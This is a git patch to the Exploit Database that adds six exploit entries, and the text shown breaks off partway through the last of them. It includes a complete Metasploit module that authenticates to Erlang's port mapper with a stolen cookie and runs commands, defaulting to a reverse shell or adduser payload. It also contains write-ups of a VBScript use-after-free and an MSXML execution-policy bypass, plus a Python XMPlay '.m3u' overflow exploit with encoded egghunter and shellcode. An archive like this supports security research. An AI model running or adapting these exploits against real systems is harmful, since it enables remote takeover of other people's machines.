From 1ddc5edd5d3879fd8a68c1c69ddf6e9e06a3c9a8 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Fri, 21 Dec 2018 05:01:52 +0000 Subject: [PATCH] DB: 2018-12-21 6 changes to exploits/shellcodes VBScript - VbsErase Reference Leak Use-After-Free VBScript - MSXML Execution Policy Bypass LanSpy 2.0.1.159 - Buffer Overflow (SEH) (Egghunter) XMPlay 3.8.3 - '.m3u' Local Stack Overflow Code Execution Base64 Decoder 1.1.2 - Local Buffer Overflow (SEH) Erlang - Port Mapper Daemon Cookie RCE (Metasploit) --- exploits/multiple/remote/46024.rb | 156 ++++++++++++++++++++++++++++ exploits/windows/dos/46022.txt | 60 +++++++++++ exploits/windows/dos/46023.txt | 11 ++ exploits/windows/local/46020.py | 82 +++++++++++++++ exploits/windows/local/46021.py | 77 ++++++++++++++ exploits/windows_x86/local/46018.py | 126 ++++++++++++++++++++++ files_exploits.csv | 6 ++ 7 files changed, 518 insertions(+) create mode 100755 exploits/multiple/remote/46024.rb create mode 100644 exploits/windows/dos/46022.txt create mode 100644 exploits/windows/dos/46023.txt create mode 100755 exploits/windows/local/46020.py create mode 100755 exploits/windows/local/46021.py create mode 100755 exploits/windows_x86/local/46018.py diff --git a/exploits/multiple/remote/46024.rb b/exploits/multiple/remote/46024.rb new file mode 100755 index 000000000..92a0bfc8d --- /dev/null +++ b/exploits/multiple/remote/46024.rb @@ -0,0 +1,156 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Erlang Port Mapper Daemon Cookie RCE', + 'Description' => %q{ + The erlang port mapper daemon is used to coordinate distributed erlang instances. + Should an attacker get the authentication cookie RCE is trivial. Usually, this + cookie is named ".erlang.cookie" and varies on location. + }, + 'Author' => + [ + 'Daniel Mende', # blog post article + 'Milton Valencia (wetw0rk)', # metasploit module + ], + 'References' => + [ + ['URL', 'https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/'] + ], + 'License' => MSF_LICENSE, + 'Platform' => ['unix', 'win'], + 'Arch' => ARCH_CMD, + 'Privileged' => 'false', + 'Targets' => + [ + [ 'Unix', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}, + ], + [ 'Windows', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/adduser'}, + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Nov 20, 2009', # https://github.com/erlang/otp/blob/master/lib/kernel/src/os.erl (history) + ) + ) + + register_options( + [ + OptString.new('COOKIE', [ true, 'Erlang cookie to login with']), + Opt::RPORT(25672) + ]) + end + + def generate_challenge_digest(challenge) + challenge = challenge.unpack('H*')[0].to_i(16).to_s + + hash = Digest::MD5.new + hash.update(datastore['COOKIE']) + hash.update(challenge) + + vprint_status("MD5 digest generated: #{hash.hexdigest}") + return [hash.hexdigest].pack('H*') + end + + def exploit + connect + + our_node = "#{rand_text_alphanumeric(6..12)}@#{rand_text_alphanumeric(6..12)}" + + # SEND_NAME: send initial identification of who "we" are + send_name = "\x00" # Length: 0x0000 + send_name << [(our_node.length+7).to_s(16)].pack('H*') # + send_name << "\x6e" # Tag: n + send_name << "\x00\x05" # Version: R6 (5) + send_name << "\x00\x03\x49\x9c" # Flags (0x0003499c) + send_name << "#{our_node}" # @ + + # SEND_CHALLENGE_REPLY: return generated digest and its own challenge + send_challenge_reply = "\x00\x15" # Length: 21 + send_challenge_reply << "\x72" # Tag: r + + # SEND: send the message to the node + send = "\x00\x00\x00" # Length:0x00000000 + send << [(0x50 + payload.raw.length + our_node.length*2).to_s(16)].pack('H*') # + send << "\x70" # + send << "\x83" # VERSION_MAGIC + send << "\x68" # SMALL_TUPLE_EXT (104) + send << "\x04" # Arity: 4 + send << "\x61" # SMALL_INTEGER_EXT + send << "\x06" # Int: 6 + send << "\x67" # PID_EXT (103) + send << "\x64\x00" # Node: + send << [(our_node.length).to_s(16)].pack('H*') # Length: strlen(Node) + send << "#{our_node}" # Node + send << "\x00\x00\x00\x03" # ID + send << "\x00\x00\x00\x00" # Serial + send << "\x00" # Creation + send << "\x64" # InternalSegmentIndex + send << "\x00\x00" # Len: 0x0000 + send << "\x64" # InternalSegmentIndex + send << "\x00\x03" # Length: 3 + send << "rex" # AtomText: rex + send << "\x83\x68\x02\x67\x64\x00" # + send << [(our_node.length).to_s(16)].pack('H*') # Length: strlen(Node) + send << "#{our_node}" # Node + send << "\x00\x00\x00\x03" # ID + send << "\x00\x00\x00\x00" # Serial + send << "\x00" # Creation + send << "\x68" # SMALL_TUPLE_EXT (104) + send << "\x05" # Arity: 5 + send << "\x64" # InternalSegmentIndex + send << "\x00\x04" # Length: 4 + send << "call" # AtomText: call + send << "\x64" # InternalSegmentIndex + send << "\x00\x02" # Length: 2 + send << "os" # AtomText: os + send << "\x64" # InternalSegmentIndex + send << "\x00\x03" # Length: 3 + send << "cmd" # AtomText: cmd + send << "\x6c" # LIST_EXT + send << "\x00\x00\x00\x01" # Length: 1 + send << "\x6b" # Elements: k + send << "\x00" # Tail + send << [(payload.raw.length).to_s(16)].pack('H*') # strlen(Command) + send << payload.raw # Command + send << "\x6a" # NIL_EXT + send << "\x64" # InternalSegmentIndex + send << "\x00\x04" # Length: 4 + send << "user" # AtomText: user + + sock.put(send_name) + + # recieve servers "SEND_CHALLENGE" token (4 bytes) + print_status("Receiving server challenge") + challenge = sock.get + challenge = challenge[14,4] + + send_challenge_reply << challenge + send_challenge_reply << generate_challenge_digest(challenge) + + print_status("Sending challenge reply") + sock.put(send_challenge_reply) + + if sock.get.length < 1 + fail_with(Failure::UnexpectedReply, "Authentication Failed:#{datastore['COOKIE']}") + end + + print_good("Authentication successful, sending payload") + sock.put(send) + end +end \ No newline at end of file diff --git a/exploits/windows/dos/46022.txt b/exploits/windows/dos/46022.txt new file mode 100644 index 000000000..26cb7e0d5 --- /dev/null +++ b/exploits/windows/dos/46022.txt @@ -0,0 +1,60 @@ +There is an reference leak in Microsoft VBScript that can be turned into an use-after-free given sufficient time. The vulnerability has been confirmed in Internet Explorer on various Windows versions with the latest patches applied. + +Details: + +VbsErase function is used to reset and free the contents of a VBScript array. When this function is called on a VBScript variable of the type array (implemented as a VAR structure containing a type followed by a value, in this case a pointer to a SafeArray object), the function follows these steps: + +1. Get the pointer to a SafeArray object from the VBScript variable and store it locally +2. Set the pointer value in the VBScript variable to 0 (null) +3. Release the array members (by calling SafeArrayDestroyData) +4. Restore the pointer from step 2 +5. Destroy the array object itself (by calling SafeArrayDestroyDescriptor) +6. Once again, set the pointer value in the VBScript variable to null + +The dance with setting the pointer to null and restoring it was made to address previously reported vulnerabilities described in http://blogs.360.cn/post/from-a-patched-itw-0day-to-remote-code-execution-part-i-from-patch-to-new-0day.html. + +However, this also introduced another bug. Specifically, if during SafeArrayDestroyData a user-defined callback runs, the callback can set the value of the VBScript variable passed to VbsErase to some other object (which increases the reference count of the object). If that happens, in steps 4 and 6 above, the pointer to the object will be overwritten, thus preventing its reference count to get properly decremented when the VBScript variable is assigned some other value. + +Consider the following code snippet: + +==================================== + +Class class1 +End Class + +Class class2 + Private Sub Class_Terminate() + ' increase the reference count of c + set a = c + End Sub +End Class + +' create an object of class1 and increase its reference count +c = new class1 +a = Array(0) +set a(0) = new class2 +' call Class_Terminate of class2 +Erase a +' a has been set to null so the following line doesn't affect c in any way +a = 1 +' decrease the reference count of c +c = 1 +' at this point the referenc couter of c is 1 instead of 0 + +==================================== + +When the code snippet finishes, the class1 object createad on the first line continues to live, even though all references to it have been lost so it should have been destroyed. This same principle can be used to increase the reference count of an arbitrary object any number of times without incurring a memory cost, eventually overflowing the 32-bit reference counter. + +Note that, while custom classes in VBScript have protection against overflowing a reference counter, this isn't the case for built-in objects (compare VBScriptClass::AddRef to AddRef methods of other classes). Because of this, the PoCs below use a RegExp object. + +The only problem is that for every reference counter increment, a new array has to be created and destroyed and a user-defined Class_Terminate needs to run which all takes time. Overflowing the 32-bit reference counter can take around 2 hours (depending on the CPU) and way longer if page heap is enabled for the iexplore.exe process. + +leak1.html (in attachment) contains the full PoC and leak1.txt contains a debug log for this. + +If you don't want to wait, a quicker way to demonstrate the issue is to just run the reference counter increase for certain number of iterations, and then increase it further (close to overflowing) via a debugger. + +leak2.html demonstrates this and leak2.txt contains the debug log (obtained in a 64 bit process with page heap enabled). + + +Proof of Concept: +https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46022.zip \ No newline at end of file diff --git a/exploits/windows/dos/46023.txt b/exploits/windows/dos/46023.txt new file mode 100644 index 000000000..a76591367 --- /dev/null +++ b/exploits/windows/dos/46023.txt @@ -0,0 +1,11 @@ +According to https://blogs.windows.com/msedgedev/2017/07/07/update-disabling-vbscript-internet-explorer-11/, Starting from Windows 10 Fall Creators Update, VBScript execution in IE 11 should be disabled for websites in the Internet Zone and the Restricted Sites Zone by default. + +However, the VBScript execution policy does not appear to cover VBScript code in MSXML xsl files which can still execute VBScript, even when loaded from the Internet Zone. + +To demonstrate, place the files in the attached archive on a web server in the Internet zone and open index.html. If successful, the text "Hello from VBscript" will be rendered on the page. If you look at the provided code, this text is assembled dynamically by VBScript. + +This has been tested on Windows 10 Version 1803 with the latest patches applied and VBScript execution policy applied for the Internet Zone (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\140C = 3). + + +Proof of Concept: +https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46023.zip \ No newline at end of file diff --git a/exploits/windows/local/46020.py b/exploits/windows/local/46020.py new file mode 100755 index 000000000..fe7783fd8 --- /dev/null +++ b/exploits/windows/local/46020.py @@ -0,0 +1,82 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# Exploit Title: XMPlay 3.8.3 - '.m3u' Code Execution (PoC) +# Date: 2018-12-19 +# Exploit Author: s7acktrac3 +# Vendor Homepage: https://www.xmplay.com/ +# Software Link: https://support.xmplay.com/files_view.php?file_id=676 +# Version: 3.8.3 (latest) +# Tested on: Windows XP SP3 +# CVE : Reserved +# +# Developer notified & delivered PoC but not interested in fixing :P +# +# Reproduction Steps: +# Lauch XMPlay & run this PoC script - it will create a file in the same directory named xmplay.m3u +# Either drag xmplay.m3u into the XMPlay window or File Menu-> select winamp.m3u. Application will "load" +# for a minute (exploit searching through memory for payload) and eventually launch calc.exe +# +# Major Shouts @Gokhan @foolsofsecurity for helping turn the DoS into Code execution & me into more of a +# beast! + +from struct import pack + +max_size = 728 +# C:\Documents and Settings\Administrator\Desktop\Exploit Dev\xmplay_383-poc.py +eip_offset = 500 + +file_header = "#EXTM3U\n\r" +file_header += "#EXTINF:200,Sleep Away\n\r" +file_header += "http://test." + +# cat egghunter.txt | tr -d '"' | tr -d '\n' | tr -d '\\x' | xxd -r -p > egghunter.bin +# msfvenom -p generic/custom PAYLOADFILE=egghunter.bin -e x86/alpha_mixed BufferRegister=EDX -a x86 --platform Windows +encoded_egg_hunter = ("" +"\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a" +"\x4a\x4a\x37\x52\x59\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41" +"\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50" +"\x38\x41\x42\x75\x4a\x49\x62\x46\x6f\x71\x4b\x7a\x49\x6f\x44" +"\x4f\x53\x72\x36\x32\x61\x7a\x46\x62\x66\x38\x78\x4d\x64\x6e" +"\x75\x6c\x75\x55\x63\x6a\x54\x34\x68\x6f\x6d\x68\x63\x47\x34" +"\x70\x54\x70\x72\x54\x4e\x6b\x58\x7a\x4e\x4f\x42\x55\x6b\x5a" +"\x4c\x6f\x31\x65\x78\x67\x59\x6f\x39\x77\x41\x41") + +encoded_calc = "w00tw00t" + "\x57\x58\x04\x06\x50\x5E" # PUSH EDI, POP EAX, ADD AL,6, PUSH EAX, POP ESI +encoded_calc += "\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49" +encoded_calc += "\x49\x49\x49\x49\x49\x49\x49\x49\x37\x51" +encoded_calc += "\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b" +encoded_calc += "\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" +encoded_calc += "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75" +encoded_calc += "\x4a\x49\x36\x51\x49\x59\x52\x71\x61\x78" +encoded_calc += "\x75\x33\x50\x61\x72\x4c\x31\x73\x73\x64" +encoded_calc += "\x6e\x58\x49\x57\x6a\x33\x39\x52\x64\x37" +encoded_calc += "\x6b\x4f\x38\x50\x41\x41" + +egg_addr_to_edx = "" +egg_addr_to_edx += "\x54" # PUSH ESP +egg_addr_to_edx += "\x58" # POP EAX +egg_addr_to_edx += "\x2D\x3C\x55\x55\x55" # SUB EAX,5555553C +egg_addr_to_edx += "\x2D\x3C\x55\x55\x55" # SUB EAX,5555553C +egg_addr_to_edx += "\x2D\x3C\x55\x55\x55" # SUB EAX,5555553C +egg_addr_to_edx += "\x50" # PUSH eax +egg_addr_to_edx += "\x5A" # POP EDX + + +payload = "A" * 12 +payload += encoded_calc +payload += "A" * (eip_offset - len(payload)) +print "Length of payload " + str(len(payload)) +payload += pack("